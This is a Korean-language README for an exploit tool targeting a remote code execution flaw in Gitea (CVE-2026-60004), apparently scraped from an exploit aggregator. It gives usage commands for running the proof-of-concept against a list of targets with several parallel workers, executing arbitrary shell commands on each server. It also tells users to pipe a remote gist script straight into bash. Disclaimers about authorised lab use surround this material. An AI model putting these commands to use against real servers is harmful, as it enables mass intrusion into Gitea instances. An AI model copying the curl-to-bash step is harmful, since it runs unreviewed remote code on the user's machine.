Exploit for CVE-2026-60004

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HORKIMHAB-CVE-2026-60004
# CVE-2026-60004

더보기: https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m

## 후원

PayPal 또는 아래 QR 코드를 스캔하여 이 프로젝트의 유지보수를 지원해 주세요.

![paypal](https://assets.kitploit.com/production/public/readmes/45430/33a91bd6d378215fcd413c279aa88d48bda6c8b2ef7695892777c87de37de256.gif)

![QR code for donation](https://assets.kitploit.com/production/public/readmes/45430/8547a914397adeef146bb206525c92eb7da797a813c32cfb688d89348a337974.jpg)

## ⚡ 간단한 사용법

이 프로젝트는 다음과 같은 안전하고 승인된 환경에서만 사용하세요:

  * 로컬 가상 머신
  * Docker 컨테이너
  * 격리된 실험실 환경
  * 승인된 침투 테스트 환경



예제 설정:

root@kitploit:~
    
    
    git clone <repository-url>
    cd <repository-name>
    
    # Project use python follow below
    
    # Create a virtual environment
    python -m venv venv
    
    # Activate the virtual environment
    
    # macOS / Linux
    source venv/bin/activate
    
    # Windows (Git Bash / WSL)
    source venv/Scripts/activate
    
    # Install requirments
    pip install -r requirements.txt
    
    

예제 사용법:

root@kitploit:~
    
    
    # 1. Optional global password for lines that omit it
    export GITEA_PASSWORD='defaultpass'
    
    # 2. Run (safe first)
    python3 gitea_diffpatch_rce_poc.py --targets targets.txt -c 'id' --dry-run
    
    # 3. Real run with 3 workers
    python3 gitea_diffpatch_rce_poc.py --targets targets.txt -c 'id; uname -srm; pwd' -w 3
    
    # 4. Classic single-target still works
    python3 gitea_diffpatch_rce_poc.py http://127.0.0.1:3000 admin 'id'
    

참고:

  * 다른 프로젝트에서 복제한 경우 중첩된 .git 디렉터리를 정리하려면 `curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y` 명령을 실행해야 합니다.
  * 예: cve-2025-46822.sh, cve-2025-46822-lab.sh, ...



* * *

## 크레딧 또는 참고 자료

  * https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m



* * *

# 📚 교육용 보안 연구 저장소

통제된 환경에서 사이버 보안 개념을 학습, 테스트, 연구하기 위한 저장소입니다.

* * *

## ⚠️ 보안 및 법적 고지

## 목적

이 저장소는 **교육 및 승인된 보안 연구 전용** 입니다.

사용자가 다음에 대해 배우도록 돕기 위해 설계되었습니다:

  * 보안 취약점
  * 샌드박스 및 격리 개념
  * 안전한 코딩 및 방어 관행



* * *

## 승인된 사용만 허용

이 저장소는 권한이 있는 환경에서만 사용하세요. 예:

  * 개인 실험실 또는 가상 머신
  * Docker 또는 격리된 환경
  * 승인된 침투 테스트
  * 사이버 보안 교육 또는 학술 연구



승인되지 않았거나 불법적인 사용은 엄격히 금지됩니다.

* * *

## 면책 조항

저자와 기여자는 이 프로젝트로 인해 발생하는 손해, 오용, 법적 문제 또는 손실에 대해 **책임을 지지 않습니다**.

이 저장소를 사용함으로써 다음 사항에 동의하게 됩니다:

  * 귀하는 자신의 행동에 책임이 있습니다
  * 귀하는 이를 합법적이고 윤리적으로 사용할 것입니다
  * 이 프로젝트는 **보증 없이** 제공됩니다



* * *

## 윤리적 사용

이 프로젝트는 다음을 위해 고안되었습니다:

  * 방어적 보안 연구
  * 사이버 보안 교육
  * 취약점 인식
  * 안전한 시스템 및 소프트웨어 연구



책임 있는 공개 관행을 따르고 모든 적용 가능한 법률을 준수해 주세요.

* * *

## 연락처

책임 있는 공개 또는 협업을 위해 GitHub를 통해 저장소 관리자에게 연락하세요.